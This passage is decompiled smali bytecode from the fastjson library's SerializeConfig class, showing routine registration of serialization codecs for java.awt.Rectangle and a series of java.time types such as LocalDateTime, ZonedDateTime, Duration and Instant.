                                                361sget-object p2, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                363invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                365const-string p1, "java.awt.Rectangle"
                                                367invoke-static {p1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                368move-result-object p1
                                                370sget-object p2, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                372invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                373try_end_213: goto/16 :goto_216
                                                374catchall_214: sput-boolean v2, Lcom/alibaba/fastjson/serializer/SerializeConfig;->awtError:Z
                                                375cond_216:
                                                376sget-object p1, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                377return-object p1
                                                378cond_219: sget-boolean v1, Lcom/alibaba/fastjson/serializer/SerializeConfig;->jdk8Error:Z
                                                379if-nez v1, :cond_2dd
                                                381const-string v1, "java.time."
                                                383invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                384move-result v1
                                                386const-string v3, "java.util.Optional"
                                                387if-nez v1, :cond_22d
                                                389invoke-virtual {v0, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                390move-result v1
                                                391if-eqz v1, :cond_2dd
                                                392cond_22d:
                                                393const-string v1, "java.time.LocalDateTime"
                                                395invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                396move-result-object v1
                                                398sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                400invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                402const-string v1, "java.time.LocalDate"
                                                404invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                405move-result-object v1
                                                407sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                409invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                411const-string v1, "java.time.LocalTime"
                                                413invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                414move-result-object v1
                                                416sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                418invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                420const-string v1, "java.time.ZonedDateTime"
                                                422invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                423move-result-object v1
                                                425sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                427invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                429const-string v1, "java.time.OffsetDateTime"
                                                431invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                432move-result-object v1
                                                434sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                436invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                438const-string v1, "java.time.OffsetTime"
                                                440invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                441move-result-object v1
                                                443sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                445invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                447const-string v1, "java.time.ZoneOffset"
                                                449invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                450move-result-object v1
                                                452sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                454invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                456const-string v1, "java.time.ZoneRegion"
                                                458invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                459move-result-object v1
                                                461sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                463invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                465const-string v1, "java.time.Period"
                                                467invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                468move-result-object v1
                                                470sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                472invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                474const-string v1, "java.time.Duration"
                                                476invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                477move-result-object v1
                                                479sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                481invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                483const-string v1, "java.time.Instant"
                                                485invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                486move-result-object v1
                                                488sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;